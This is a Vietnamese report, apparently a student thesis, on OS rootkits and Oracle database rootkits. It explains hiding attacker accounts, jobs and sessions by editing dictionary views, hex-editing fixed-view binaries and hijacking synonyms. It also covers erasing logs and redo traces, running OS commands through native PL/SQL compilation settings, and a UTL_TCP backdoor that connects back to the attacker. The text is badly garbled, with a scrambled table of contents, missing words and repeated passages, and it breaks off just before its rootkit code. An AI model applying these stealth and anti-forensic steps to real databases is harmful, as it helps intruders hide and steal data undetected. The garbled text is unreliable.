Kỹ thuật Rootkit thực ra không phải là mới. Nó đã tồn tại gần mười mấy năm. Đầu tiên được phát triển trên hệ điều hành Unixlike (Solaris và Linux) và sau đó là trên Windows. Rootkit đầu tiên được công khai trên Windows là vào năm 1999 bởi Greg Hoglund một chuyên gia về bảo mật và người lập website rootkit.com. Thuật ngữ rootkit bắt nguồn từ root – mức truy nhập cao nhất vào hệ thống, có quyền admin và từ kit một tập các công cụ để che giấu và chiếm quyền.Việc phát hiện Sony Rootkit ( rootkit quản lí bản quyền số) bởi Mark Russonovich của Sysinternal đã khiến rootkit được quan tâm một cách đặc biệt và nhiều người đã bắt đầu tìm hiểu hoạt động của nó. Cho tới sự kiện đó, rootkit chỉ là một cái gì đó khêu gợi sự tò mò, hơn là một hiểm họa cận kề. Sự kiện Sony Rootkit xảy ra ngày 31102005 đã đưa rootkit thành trung tâm chú ý. Nó cũng chứng tỏ, hãng đã nghiên cứu và phát triển kỹ thuật rootkit qui củ. Sau sự kiện này, Sony đã phải tiến hành gỡ bỏ rootkit trên các đĩa CD và tốn khoản bồi thường không ít.Sự kiện này được cho là trước sau gì cũng xảy ra, khi mà các nhà cung cấp bảo mật đưa ra nhiều biện pháp để chống lại các kiểu nguy cơ có thể, thì những người tạo malware cũng sẽ tương ứng đáp lại bằng các kỹ thuật ăn cắp và tinh ranh hơn. Bằng cách sử dụng rootkit và khả năng lén lút của nó, những hacker máy tính đã tìm ra cách mới và hiệu quả để tấn công. Các chương trình che giấu và rootkit cho thấy một nguy cơ cận kề về an ninh mạng. Thực tế, ngày 6122005 tạp chí eweek đã công bố rằng có tới 20% malware bị phát hiện trên Windows XP SP2 là các rootkit. Một số liệu sau đó vào ngày 6122006 cũng ghi nhận rằng tỉ lệ rootkit trong số malware là 14%, trong khi tại thời điểm của sự kiện Sony Rootkit con số đó là 8%.
MỤC LỤC 1.1 13 DANH MỤC CÁC HÌNH VẼ 13 API 14 Application Program Interface 14 ARCn 14 Archive 14 CSDL 14 Cơ sở liệu 14 DB 14 Database 14 DCL 14 Data Control Language 14 DDL 14 Data dictionary Language 14 DML 14 Data Manipulate Language .14 DBWn 14 Database Written 14 DLL 14 Thư viện liên kết động 14 Function 14 Hàm 14 Instance 14 Thành phần logic DB 14 LGWR 14 Log writer 14 OS 14 Hệ điều hành 14 Package 14 Chứa procedure, function 14 PGA 14 Private Global Area 14 PL/SQL 14 Ngôn ngữ truy vấn có thủ tục 14 Procedure 14 Thủ tục 14 RDBMS 14 Hệ quản trị sở liệu quan hệ 14 Rootkit 14 Chương trình che giấu hành vi hacker .14 SQL 14 Ngôn ngữ truy vấn 14 SGA 14 Trang System Global Area .14 Table 14 Bảng 14 Tablespace 14 Tập hợp table, view, index… .14 View 14 Table chứa metadata 14 Rootkit OS không xa lạ với Chúng kẻ xâm nhập sử dụng để che giấu dấu vết từ lâu Tuy nhiên, biết rootkit sử dụng hacker sử dụng sở liệu, thường chứa liệu quan trọng công ty, tổ chức 14 Theo ước tính, khoảng 100 triệu người có thông tin cá nhân nằm tầm kiểm soát tội phạm Internet Lấy cắp thông tin trở thành nguy chính, thông tin trở thành mỏ vàng cho tội phạm Thông tin cá nhân chia thành nhiều loại với mức giá khác Ví dụ, thông tin địa chỉ, số điện thoại, ngày sinh, số dịch vụ xã hội, số đăng ký băng lái…đều đặt giá Rất nhiều sở liệu công ty lớn bị xâm phạm Nhất ngân hàng, nhà băng, dịch vụ thẻ toán CardSystems, Citigroup, Bank of America, DSW Shoe Warehouse… bị tội phạm nhòm ngó gây thiệt hại định 15 Oracle hãng dẫn đầu thị trường sở liệu thường sử dụng quan, tổ chức lớn Với khối lượng liệu lớn quan trọng Không nghi ngờ gì, Oracle trở thành đích ngắm hấp dẫn công 15 Oracle database rootkit hướng công Rootkit cài đặt sau đột nhập thành công vào Oracle database, để che giấu dấu vết đột nhập, trở thành bình phong che chắn diện attacker database Người quản trị khó lòng biết database có bị nhìn ngó hay bị công hay không, dù có sử dụng công cụ tìm kiếm rootkit Và biện pháp cải thiện hay áp dụng phương pháp tự bảo vệ, qua thời gian dài thiệt hại đáng kể Khi mà sở liệu tài nguyên vô quan trọng có ý nghĩa sống doanh nghiệp, tổ chức 15 15 TÌM HIỂU VỀ ROOTKIT 16 Hiểu biết chung mã độc hại(malware) 16 Thuật ngữ malware từ viết tắt malicious software Malware tạo với mục đích truy nhập, chỉnh sửa phá hoại software khác máy tính Malware có nhiều loại: virus, worms, trojans, backdoor, spyware… biến thể khác xuất ngày .16 Mục tiêu malware thông tin cá nhân, liệu, tài nguyên máy tính… Bằng cách ghi dấu thói quen lướt Web bạn, chúng biết vấn đề bạn quan tâm quảng cáo mà phù hợp với ý định bạn Những malware cho phép công ty quảng cáo thiết kế pop up nắm bắt mục đích cá nhân Xa nữa, malware điều khiển nội dung hiển thị trình duyệt bạn Đó hijacking Các nội dung tìm kiếm hiển thị bạn bị hijack sang trang mà malware định Điều đưa đến nhiều phiền toái pop up liên tục nhảy ra, tệ chứa virus, worm mà vô tình kích phải chúng xâm nhập vào máy tính bạn 16 Mục tiêu thứ ba, thông tin cá nhân Những thông tin dùng để đăng nhập vào tài khoản ngân hàng, chuyển tiền, rút tiền Nếu bạn dùng password, hacker dùng chương trình giải mã mật Hoặc giả chương trình an ninh, dụ bạn cài vào mà có chương trình keylogger, spyware… sẵn sàng lấy cắp thông tin bạn Cuối Trang cùng, hacker lợi dụng tài nguyên hệ thống vào mục đích công hệ thống khác, ẩn nấp sau hệ thống bạn nhằm che giấu hành tung Để thực mục đích này, malware thực dễ dàng có trợ giúp rootkit Vì malware cài đặt rootkit vào máy, tới lượt rootkit che giấu hành vi malware Thực tế, rootkit xấu hay tốt mục đích mà sử dụng .16 Khái niệm Rootkit 17 1.1.1 Lịch sử Rootkit 17 Kỹ thuật Rootkit thực Nó tồn gần mười năm Đầu tiên phát triển hệ điều hành Unix-like (Solaris Linux) sau Windows Rootkit công khai Windows vào năm 1999 Greg Hoglund- chuyên gia bảo mật người lập website rootkit.com Thuật ngữ rootkit bắt nguồn từ root – mức truy nhập cao vào hệ thống, có quyền admin từ kit- tập công cụ để che giấu chiếm quyền .17 Việc phát Sony Rootkit ( rootkit quản lí quyền số) Mark Russonovich Sysinternal khiến rootkit quan tâm cách đặc biệt nhiều người bắt đầu tìm hiểu hoạt động Cho tới kiện đó, rootkit khêu gợi tò mò, hiểm họa cận kề Sự kiện Sony Rootkit xảy ngày 31/10/2005 đưa rootkit thành trung tâm ý Nó chứng tỏ, hãng nghiên cứu phát triển kỹ thuật rootkit qui củ Sau kiện này, Sony phải tiến hành gỡ bỏ rootkit đĩa CD tốn khoản bồi thường không 17 Sự kiện cho trước sau xảy ra, mà nhà cung cấp bảo mật đưa nhiều biện pháp để chống lại kiểu nguy có thể, người tạo malware tương ứng đáp lại kỹ thuật ăn cắp tinh ranh Bằng cách sử dụng rootkit khả lút nó, hacker máy tính tìm cách hiệu để công Các chương trình che giấu rootkit cho thấy nguy cận kề an ninh mạng Thực tế, ngày 6/12/2005 tạp chí eweek công bố có tới 20% malware bị phát Windows XP SP2 rootkit Một số liệu sau vào ngày 6/12/2006 ghi nhận tỉ lệ rootkit số malware 14%, thời điểm kiện Sony Rootkit số 8% 17 1.1.2 Định nghĩa Rootkit 17 Rootkit chương trình thiết kế để che giấu không mà thành phần liên quan khác process, file, folder, registry keys, ports driver Rootkit có mục đích tốt whitehat (nhưng tiềm ẩn nguy an toàn) hay mục đích xấu – blackhat Các rootkit độc hại thường dùng cho việc xâm nhập trì điều khiển từ xa cách bất hợp pháp Rootkit độc hại che giấu malware, malwware cài đặt backdoor cho phép hacker truy nhập tới máy bị điều khiển .17 Rootkit cho thấy lỗ hổng hệ điều hành Khó mà biết tính toàn vẹn hệ thống tới đâu, hay độ tin cậy báo cáo, kết quét mã độc Chúng ta chắn máy tính không chứa chấp mã độc hại ngấm ngầm hoạt động tác hại chúng 18 Cách thức hoạt động Rootkit 18 Sự xuất Rootkit máy tính hay mạng cho thấy khả bị vi phạm hệ thống mà bạn phải làm việc tin tưởng lỗ hổng an ninh lớn Không nghi ngờ nữa, rootkit có khả quanh quẩn để thực nhiệm vụ mà nhờ tạo Vậy làm rootkit lợi hại vậy? Đó nhờ lợi dụng tính mềm dẻo linh hoạt kiến trúc Windows Phần tìm hiểu cách thức ẩn nấp hoạt động Rootkit .18 1.1.3 Chiếm quyền điều khiển .18 Bất kì user hay chương trình truy vấn hệ thống, kết trả mặc định tin tưởng không gợn chút nghi vấn Rootkit lợi dụng tin tưởng Đầu tiên phải chiếm quyền quản trị hệ thống Trang để điều khiển hệ thống làm cho Vì chiếm quyền admin bước vô quan trọng định 18 1.1.4 Kỹ thuật Hooking 18 Là kỹ thuật mà Rootkit sử dụng để thay đổi đường dẫn thực thi hệ điều hành- chặn lời gọi hệ thống điều chỉnh kết cho dấu vết tồn Hook chuyển hướng chương trình bình thường, sang hàm rootkit thay hàm hệ thống Cả kernel mode user mode rootkit sử dụng kỹ thuật hooking để lọc kết trả OS giấu tồn Các chương trình phân tích quét không phát thông tin tồn Registry, port mà rootkit sử dụng Đó chương trình dựa thông tin lấy từ OS Chúng ta không phát rootkit thông qua công cụ Task Manager, windows explorer hay regedit Windows sử dụng table để lưu trữ ghi dấu thông tin quan trọng Các table bị hook, thay đổi bẻ gẫy rootkit User mode kernel mode rootkit sử dụng kỹ thuật hook loại bị hạn chế mà chúng hook phạm vi hoạt động chúng User mode rootkit hook table phạm vi không gian địa dành cho user (các bảng IAT, EAT) chèn jump vào API mức user để thay system call sang function rootkit 18 Có hai kiểu hook priviledge hook unpriviledged hooks User mode rootkit unpriviledge hook, kernel mode rootkit priviledge hook Ở kiểu hook khác quyền hệ thống sử dụng kỹ thuật hook giống Kỹ thuật hooking API: user mode rootkit chặn lời gọi hàm API thay đổi địa API IAT thuộc tiến trình user, sau trỏ tới rootkit function thay Windows API functions Cả user mode kernel mode rootkit sử dụng API hooking để đảm bảo OS trả kết sàng lọc, vốn bỏ rơi tiết lộ rootkit hay tung tích User mode rootkit chỉnh sửa table thuộc chương trình user Mỗi chương trình user có IAT riêng chứa thông tin function mà kernel thực cho Để hiệu quả, user mode rootkit phải tìm cách để thay đổi table user program điều khiển chương trình sửa chạy để hook API tương ứng chương trình Rootkit không thiết phải hook API, API liên quan tới Ví dụ hook API Task Manager dùng để liệt kê process API mà dùng Windows Explorer để liệt kê danh sách file, folder Và phải hook API tiến trình kích hoạt nên user mode rootkit hiệu kernel mode rootkit Kernel mode rootkit cần hook cấu trúc mà tất user program sử dụng 19 Phân loại Rootkit 19 Rootkit chia thành hai loại– user mode kernel mode rootkit, phụ thuộc vào phạm vi ảnh hưởng liệu chúng tồn nhớ hay sau khởi động lại( ghi lên ổ đĩa) persisten non-persistent rootkit 19 1.1.5 User-mode rootkit kernel – mode rootkit 19 Đây rootkit có chế điều khiển phạm vi ảnh hưởng lên hệ điều hành khác Cơ chế điều khiển thông qua đặc quyền mà giành Đặc quyền lớn, phạm vi ảnh hưởng tăng 19 Bất kể chế độ nữa, rootkit dựa sở: chương trình giao tiếp với nhờ lời gọi hàm Tùy vào mức đặc quyền chương trình, tạo lời gọi trực tiếp tới kernel hay gián tiếp qua bên xử lí thứ ba đứng kernel Hay người ta gọi User mode kernel mode 20 Rootkit mức user, mức đặc quyền thấp nhất, phải sử dụng giao diện ứng dụng chương trình API để gửi yêu cầu tới hệ thống Các lời gọi thông qua thư viện liên kết động mức user (DLL) để chuyển thành thông điệp mà kernel hiểu Thực tế chương trình mức user không tự chứa tất khả xử lí, phải dùng tạo system call tới kernel Ví dụ, user click nút OK Windows chuyển thông tin thành system call để hệ thống xử lí Ngôn ngữ mà Window cung cấp để thực giao tiếp Trang kernel chương trình mức user gọi API Để vận hành tốt hơn, chương trình user tự tạo bảng riêng chứa địa tất API system function mà cần gọi tới Bảng gọi IAT ( import address table) Gián tiếp liên lạc với kernel làm hạn chế mức ảnh hưởng user mode rootkit Nó chạy ứng dụng định, với số user định Nó bị phát chương trình phát rootkit Lợi điểm dễ tạo, không làm hệ thống bị treo hay gặp cố Nhưng để có kết định, user mode rootkit nhiều việc phải làm 20 Kernel mode rootkit: kernel phần mềm tương ứng với đơn vị xử lí trung tâm- não hệ điều hành, thành phần Kernel trì điều khiển nhiều tài nguyên quan trọng, hàm thông tin nhớ, an ninh, lập lịch xử lí, giao tiếp phần cứng phần mềm Kernel có phạm vi ảnh hưởng toàn hệ thống, phần cứng tất ứng dụng Tất chương trình phải tương tác với kernel theo cách Và rootkit thao túng kernel, vị trí điều khiển tất .20 Không giống user mode rootkit hoạt động Ring 3, kernel mode rootkit hoạt động Ring 0, tương tác trực tiếp với kernel Kernel mode rootkit cài đặt device driver để lấy quyền điều khiển mức kernel Sau đó, rootkit driver chuyển hướng system function call sang mã lập trình để thi hành 20 1.1.6 Persistent non-persistent rootkit 21 Một khía cạnh để phân loại rootkit khả tồn sau hệ thống khởi động .21 Persistent rootkit: để tồn sau hệ thống khởi động rootkit phải thay đổi nội dung ổ cứng Rootkit chèn mục autostart vào Registry, nhờ load vào nhớ tự động thực thi lần máy tính khởi động Dù thay đổi vật lí làm tăng khả bị phát nhiều tiện ích hệ thống chương trình quét malware lại bỏ qua rootkit 21 Non-Persistent rootkit: tồn nhớ hệ thống khởi động lại Các chương trình mà bỏ qua việc quét nơi lưu trữ vật lí không phát rootkit Non-persistent rootkit đe dọa tới mà việc khởi động lại máy tính thường xuyên Nhưng mạng server- với hàng trăm máy tính client, việc reboot thường Các rootkit nằm nhớ thường lợi dụng điểm này, nữa, rootkit kiều không để lại manh mối vật lý để bị phát 21 22 TẤN CÔNG ROOTKIT TRONG ORACLE 22 Một số kiểu công Oracle 22 1.1.7 Tấn công SQL injection 22 1.1.8 Hack listener 25 1.1.9 PL/SQL injection 27 Tấn công Rootkit Oracle 28 Oracle database OS tương đồng với mặt cấu trúc Cả database OS có user, process, job, executable symbolic link Vì vậy, hacker lợi dụng tương đồng để triển khai rootkit mã độc khác virus, từ phạm vi OS sang lãnh địa Oracle database 28 Một số tương đồng command object Oracle OS *Nix 28 Thông thường có thủ thuật rootkit OS hệ đầu ẩn tài khoản Lệnh OS *Nix ps, who top bị thay phiên trojan, liệt kê tất trừ tài khoản kẻ xâm nhập Hướng tiếp cận áp dụng DB Rootkit database cần che giấu hành tung nó, cụ thể process, job, login Bằng cách tác Trang động vào nơi lưu trữ cung cấp thông tin này, tác động vào cách thức truy xuất thông tin Oracle lưu trữ thông tin user base table data dictionary view sys.user$, v$pwfile_users… Vì attacker cần can thiệp vào source code view 29 Đầu tiên, thử tìm hiểu số data dictionary view mà cung cấp thông tin user thông tin tiến trình có liên quan tới hoạt động user DB Và tìm hiểu số PL/SQL package sẵn có Oracle sử dụng cho việc công attacker 29 1.1.10 Tìm hiểu số data dictionary view 29 View dba_jobs lưu thông tin tất jobs database Thông tin cột view này: 29 Column 29 Comments .29 Job 29 Xác định job Không thể thay đổi dù thực import hay export nhiều lần 29 Log_user .29 Khi user xác nhận job ghi lại 29 Priv_user .29 User có quyền mặc định áp dụng cho job 29 Schema_user 29 Schema mặc định gán cho job thực thi 29 Last_date 29 Thời điểm gần mà job thực thành công 29 Last_sec 29 Tương tự last_date 29 This_date 29 Thời điểm mà job bắt đầu thực (là null không thực thi) 29 This_sec 29 Tương tự this_date Thời điểm lần thực thi cuối bắt đầu 29 Next_date 30 Thời điểm mà job thực .30 Next_sec 30 Tương tự next_date Thời điểm thực .30 Total_time 30 Tổng thời gian sử dụng hệ thống job, tính theo giây 30 Broken 30 Nếu y, nghĩa cố gắng chạy job Nếu N có cố gắng để chạy job 30 Interval 30 Lập lịch chạy job lần 30 Failures 30 Số lần khởi động job không thành công kể từ lần thành công gần 30 What 30 Body block anonymous PL/SQL mà job thực 30 Nls_env 30 Tham số phiên mô tả biến môi trường nls job 30 Misc_env .30 Tham số phiên khác áp dụng cho job 30 Instance 30 ID instance chạy chạy job Mặc định 30 Trang View Dba_jobs_running liệt kê thông tin tất job chạy 30 Column_name 30 Comments .30 Failures 30 Số lần job khởi hoạt thất bại kể từ lần thành công sau 30 Instance 30 ID instance chạy job 30 Job 30 ID job chạy 30 Last_date 30 Ngày gần mà job chạy thành công 30 Last_sec 30 Tương tự last_date, lần thực thành công gần .30 SID 30 ID tiến trình thực job 30 This_date 30 Ngày mà job bắt đầu thực (thường null không thực hiện) 30 This_sec 30 Giống this_date Đó lần thực thành công cuối 30 Lưu thông tin process chạy 30 Cột 30 Mô tả 30 Addr 30 Địa process 30 Pid 31 Định danh process 31 Spid 31 Định danh OS process .31 Username 31 Process chạy tài khoản OS .31 Trace ID 31 Định danh file trace .31 Background 31 Nhận diện process có phải tiến trình background không 31 Latchwait 31 Địa Latch mà process đợi 31 Latchspin 31 địa latch mà process spinning .31 Pga_used_mem 31 Vùng nhớ PGA mà process sử dụng 31 Pga_alloc_mem 31 Vùng nhớ PGA thời cấp phát cho process 31 V$session liệt kê thông tin session Rootkit cần tìm cách che giấu thông tin process view Một số thông tin view v$sessions: 31 Column 31 Nội dung 31 Saddr 31 Địa session 31 Trang Sid 31 Định danh session 31 Serial# 31 Số serial session Dùng để xác định object session Đảm bảo câu lệnh thực thi đối tượng session kết thúc session khác dùng ID lại định danh session 31 Paddr 31 Địa process sở hữu session 31 Event 31 Tài nguyên kiện mà session đợi 31 Status 31 Trạng thái session(active, inactive, killed, cached…) 31 Logon_time 31 Thời gian logon 31 Username 31 Tên user 31 Command 31 Câu lệnh xử lý .31 Type 31 Kiểu session 31 1.1.11 Khai thác PL/SQL Package .31 Package schema object nhóm kiểu, biến chương trình PL/SQL có liên quan Package thường có hai phần, phần đặc tả (spec) phần thân (body), phần body không cần thiết Phần đặc tả phần giao tiếp package Nó khai báo kiểu, biến, hằng, ngoại lệ, trỏ chương trình mà bên tham chiếu tới Phần body định nghĩa truy vấn cho trỏ mã cho chương trình (các procedure, function…) Phần spec coi phần hộp trắng, phần body hộp đen Có thể debug, thay đổi phần body mà không ảnh hưởng tới phần spec 31 Để tạo package spec, dùng lệnh: Create package Lệnh Create package body định nghĩa phần body Phần spec public với tất procedure code khác bên package Phần body chứa thực thi khai báo riêng, không hiển thị bên 32 Utl_tcp package truy xuất network UTL_TCP tạo kết nối TCP tới server khác, gửi nhận data Hơn nữa, giới hạn định dạng data này, tức dạng binary textbased Nó cho phép rdbms giao tiếp với kiểu server network mà cần, web server hay RPC server Đây package hữu ích cho attacker Ví dụ, attacker dựa vào utl_tcp để tạo chương trình quét cổng TCP 38 Các function bản: 38 Open_connection 38 Mở socket tới host 38 Read_raw 38 Đọc liệu binary từ socket 38 Write_raw 38 Viết liệu binary tới socket 38 Read_text 38 Đọc liệu ASCII từ socket .38 Write_text 38 Viết liệu ASCII tới socket 38 1.1.12 Nhiệm vụ rootkit 38 Trang User Oracle lưu table SYS.USER$ với database role User có flag TYPE#=1 role có flag TYPE#=0 Để việc truy nhập dễ dàng hơn, đảm bảo tính tương thích với phiên trước, Oracle đưa view DBA_USERS ALL_USERS thông qua public synonym Hầu hết DBA công cụ sử dụng view để truy nhập table SYS.USER$ Vì để ẩn user muốn che giấu cần sửa view source: 38 AND U.NAME !=’tên cần ẩn’ 38 39 Mọi thay đổi view thuộc SYS yêu cầu quyền SYSDBA( Cần có mục tài khoản quyền hạn Oracle) Sau truy vấn trở lại view không thấy xuất tài khoản đó: .39 39 40 40 Thông thường attacker chọn username khó phát hiện(ví dụ MTSYS) câu điều kiện không dễ nhận ra( ví dụ AND U.USER# 17, 17 số user tạo) Vì Developer DBA không nên dựa vào view, mà nên truy nhập table SYS.USER$ 40 Oracle process chia làm loại: .40 User process: Bắt đầu database user yêu cầu kết nối tới Oracle server 40 Server process: Xử lý yêu cầu từ user process kết nối tới instance .40 Background process: Là tiến trình tương tác lẫn với hệ điều hành để quản lý nhớ, quản lý tín hiệu nhập xuất để ghi liệu đĩa, số nhiệm vụ khác Nó bắt đầu Oracle instance hoạt động 40 V$session trước sau ẩn tiến trình attacker 40 41 41 Các tiến trình lưu view v$session nằm schema Sys Ngoài thông tin session xuất gv_$sessions, flow_sessions, v_$process 41 Job tác vụ cần thực thời điểm lặp lại Lập lịch chạy job giúp tự động hóa công việc quản trị Ví dụ lập lich update, import, export liệu Thông tin tất job có dba_jobs, sys.job$, dba_jobs_running .41 Giả sử hacker cần tạo job để chạy thời điểm ví dụ export liệu, cần phải ẩn job Để job không hiển thị truy vấn dba_jobs cần phải giấu priv_user: quyền user mà job sử dụng Do có job tài khoản hacker tạo chạy quyền hacker .41 Dba_jobs trước sau ẩn job attacker 42 42 42 Trong trình ghi log, thông tin log listener.log TNSlistener(nếu kích hoạt logging) Gỡ bỏ dấu vết có file điều cần thiết với attacker Oracle đưa nhiều cách để thực điều Cách dễ dùng package utl_file Package cho phép đọc (UTL_FILE.GET_LINE), viết (UTL_FILE.PUT_LINE) hay xóa (UTL_FILE.REMOVE) file Log file không bị cấm(lock) TNS listener, nhờ thay đổi nội dung thời điểm hoạt động (runtime) 42 Các dấu vết attack lưu nhớ database(SGA, System Global Area) Mọi câu lệnh SQL thực thi user có view V_$SQLAREA Để gỡ thông tin từ SGA, xóa shared pool lệnh sau: 42 Alter system flush shared_pool; 42 Nhớ xóa share pool ảnh hưởng tới hiệu suất database, user than phiền tốc độ truy nhập 42 Trang Mọi transaction tạo thay đổi lên database lưu Redo-Log file lưu archive log, database chạy chế độ archive log mode Attacker phải xóa dấu vết Đầu tiên chạy lệnh để database switch redo-log: .43 Alter system switch logfile; 43 Sau cài đặt rootkit, rootkit cần switch redo log file tất redo log group để nội dung bị thay Nếu database có thiết lập chế độ archive log, cần phải xóa tất archive file gần package utl_file.fremove 43 1.1.13 Cách thức công rootkit 43 Oracle lưu thông tin username, job, process data dictionary view Và người quản trị truy vấn view để có thông tin sở liệu quản lý, process, job hoạt động Cụ thể, thông tin user có sys.user$, dba_users, all_user, 43 Thông tin 43 Có table, view 43 User 43 sys.user$, dba_users, all_users .43 Job 43 dba_jobs, dba_jobs_running, sys.job$ 43 Process 43 v$session, gv_$process, flow_session, v_$process 43 Đầu tiên xem source view v$fixed_view_definition sau: 43 Select view_definition From v_$fixed_view_definition where view_name = ‘V$PWFILE_USERS’; 43 Ta được: 43 select USERNAME , SYSDBA , SYSOPER from GV$PWFILE_USERS where inst_id = USERENV 43 ('Instance') 43 Nhưng vấn đề view GV$PWFILE_USERS fixed view (view cố định) Oracle user bao gồm Sysdba thay đổi source code Attacker tìm cách thay đổi source code view để che giấu tài khoản sysdba Hacker hắn: 43 Select view_definition from v$fixed_view_definition where view_name = ‘GV$PWFILE_USERS’; 44 Kết quả: 44 VIEW_DEFINITION 44 - 44 select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where valid=1 and username ! = 'INTERNAL' 44 Attacker muốn thay đổi source code gv$pwfile_users thành: 44 select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where username not in ('INTERNAL', ‘HACKER’) 44 Vì thế, attacker phải tác động tới phần binary để source fixed view bị ảnh hưởng Sử dụng công cụ hexeditor search tương tự để tìm chuỗi ‘GV$PWFILE_USERS’ 44 44 45 Sau đó, copy binary edit vào file ban đầu 45 Đối với việc thay đổi đường dẫn thực thi, điều mà quan tâm cách thức DB Oracle phân giải tên object truy vấn Trong Trang 10 Select view_definition from v$fixed_view_definition where view_name = ‘GV$PWFILE_USERS’; Kết quả: VIEW_DEFINITION select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where valid=1 and username != 'INTERNAL' Attacker muốn thay đổi source code gv$pwfile_users thành: select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where username not in ('INTERNAL', ‘HACKER’) Vì thế, attacker phải tác động tới phần binary để source fixed view bị ảnh hưởng Sử dụng công cụ hexeditor search tương tự để tìm chuỗi ‘GV$PWFILE_USERS’ Hinh 16:Truoc thay đôi binary Trang 44 Hinh 17:Sau thay đổi binary Sau đó, copy binary edit vào file ban đầu Thay đổi đường dẫn thực thi Đối với việc thay đổi đường dẫn thực thi, điều mà quan tâm cách thức DB Oracle phân giải tên object truy vấn Trong rootkit OS, đường dẫn tới lệnh *NIX ps, who, top bị bị thay đổi Trong database, phiên bị trojan gọi thay phiên ban đầu Hướng tiếp cận có lợi attacker, việc kiểm tra mã checksum không phát thay đổi Ví dụ, xem xét truy vấn: Select user_name from DBA_USERS Oracle phân giải tên object user_name nào? Đầu tiên Oracle kiểm tra xem liệu có local object(table hay view) DBA_USERS Nếu có, object dùng cho query Nếu không, Oracle tiếp tục tìm private synonym có tên Nếu kiểm tra public synonym Dựa cấu trúc đường dẫn thực thi Oracle, có số cách cho việc thi hành rootkit sau: Trang 45 Hinh 18: Đường dẫn thực thi Oracle - Tạo local object với tên giống với user schema - Tạo object tham chiếu tới object ban đầu( view hay table) object chứa data object ban đầu Bảng DBA_USERS nên cập nhật với trigger SYS.USER$ - Tạo private synonym local object - Chỉnh sửa public synonym tạo local object Hinh 19: Trước thay đổi đường dẫn thực thi Trang 46 Tạo view system.all_users2: Hinh 20: Tạo view private synonym system.all_users Sau đó, tạo cho system.all_users2: Create synonym system.all_users for system.all_users2; Khi đó, truy xuất tới all_users, thông tin xuất phát từ view tạo Hinh 1: Truy xuất sau thay đổi đường dẫn Trang 47 Điểm bất lợi ba phương pháp đầu schema người sở hữu bị ảnh hưởng thay đổi Attacker phải tạo object khác cho tài khoản admin khác Hầu hết attacker dùng cách thứ view nguyên không bị sửa đổi áp dụng với tài khoản ngoại trừ SYS Thay đổi package PL/SQL Các source code package dễ bị chỉnh sửa Hầu hết package Oracle tạo wrap bảo vệ không bị chỉnh sửa Đây lỗ hổng mà rootkit sử dụng để hoạt động Thông thường, sau tạo thủ tục lưu trữ, truy nhập mã nguồn thông qua bảng SOURCE, sau: SQL> SELECT text FROM USER_SOURCE SQL> WHERE name = 'WRAPTEST' order by line; Kết quả: PROCEDURE wraptest IS TYPE emp_tab IS TABLE OF emp%ROWTYPE INDEX BY PLS_INTEGER; all_emps emp_tab; BEGIN SELECT * BULK COLLECT INTO all_emps FROM emp; FOR i IN 10 LOOP DBMS_OUTPUT.PUT_LINE('Emp Id: ' || all_emps(i).empno); END LOOP; END; Làm để tránh điều này? Nhiều lập trình viên Oracle không load procedure vào database mà đặt vào file SQL server thực từ xa Bất kì truy nhập tới server đọc file này, cách bạn phần hạn chế truy nhập theo ý Còn trường hợp, code để database, nên wrap thành một phần package Wrapping phương pháp thay đổi mã PL/SQL dạng rõ thành kí tự mà Oracle đọc Như vậy, biên dịch thực bình thường, mà bảo vệ an toàn Nhưng hacker dùng Trang 48 công cụ wrap unwrap để sửa đổi lại mã procedure, package với phiên Oracle không sử dụng checksum SQL Native compilation Khi tạo chương trình PL/SQL oracle 8i, oracle lưu source code byte code compile vào data dictionary Phân tích, kiểm duyệt tạo byte code diễn tạo object Khi thực thi chương trình, PL/SQL interpreter database server đọc byte code thực vận hành định Điều tránh phải phân tích, kiểm tra cú pháp bước khác thời điểm runtime Sang oracle 9i, có thêm lựa chọn biên dịch PL/SQL native thay tạo byte code cho interpreter Bắt đầu từ Oracle 9i biên dịch procedure PL/SQL sang mã máy database server Oracle thông báo sử dụng procedure biên dịch sang ngôn ngữ nguyên thủy giúp giảm thời gian làm việc với PL/SQL tới 10 lần Khi tạo chương trình PL/SQL có native compilation, oracle lưu source code data dictionary thực việc phân tích kiểm duyệt bình thường tạo object Nếu code hợp lệ, oracle tạo file nguồn C gọi trình biên dịch linker C để tạo file thư viện chia sẻ cho chương trình PL/SQL Nghĩa file dll/ lib thực thi thay package PL/SQL ban đầu Trong đó, trước phiên 10g, Oracle không quản lý file hệ thống file OS Kể từ 10g, file dll/ lib lưu database Nhưng đủ để thực số thao tác định Khá dễ dàng sử dụng PL/SQL native để thực thi lệnh OS thông qua lệnh ‘alter system’ Ví dụ: Alter system set plsql_native_make_utility=’calc.exe’; Alter system set plsql_native_make_file_name=’c:\temp\mymakefile.mk’; Alter system set plsql_native_library_dir=’c:\temp\plsql_libs’; Sau lần biên dịch mã PL/SQL, Oracle bắt đầu trình biên dịch PL/SQL, tức gọi tới tiện ích calculator Windows Ví dụ, cài đặt backdoor package myprocedure Biên dịch sang mã máy Được file c dll Trang 49 Hinh 22:Sử dụng PL/SQL native Sau đó, gỡ backdoor khỏi package, biên dịch lại lần Thay file biên dịch phiên backdoor trước Package database không bị backdoor lần gọi tới package, backdoor hacker lại đượcchạy Hinh 23: Sử dụng PL/SQL native 1.1.14 Mô tả công Oracle sử dụng rootkit kết hợp với backdoor Để lấy liệu từ database, cách thức phù hợp kết hợp rootkit database backdoor database Backdoor cho phép attacker thực câu lệnh truy vấn database từ xa nhận hồi đáp từ server Attacker rõ ràng không muốn hành vi bị DBA phát hiện, attacker Trang 50 thường kết hợp cài backdoor với rootkit để che giấu hoạt động backdoor Ở tạo chương trình backdoor, sử dụng chức network có sẵn để mở kết nối tới vị trí attacker Chương trình đọc kết nối thực câu lệnh attacker gửi tới Sau gửi lại kết thực câu lệnh Chương trình backdoor lập lịch, sử dụng chức job để kết nối bị database instance bị restart attacker kết nối thời điểm sau Để tránh bị phát hiện, kết nối backdoor attacker mã hóa đóng gói theo cách nhằm tránh phát hệ thống IDS, IPS Backdoor cài đặt database server, backdoor console chạy host attacker giao tiếp qua giao thức TCP/IP Backdoor console lắng nghe TCP port xác định trước, đợi kết nối từ backdoor Chúng ta tạo rootkit backdoor mã PL/SQL Tạo rootkit Oraclerootkit.sql Mã 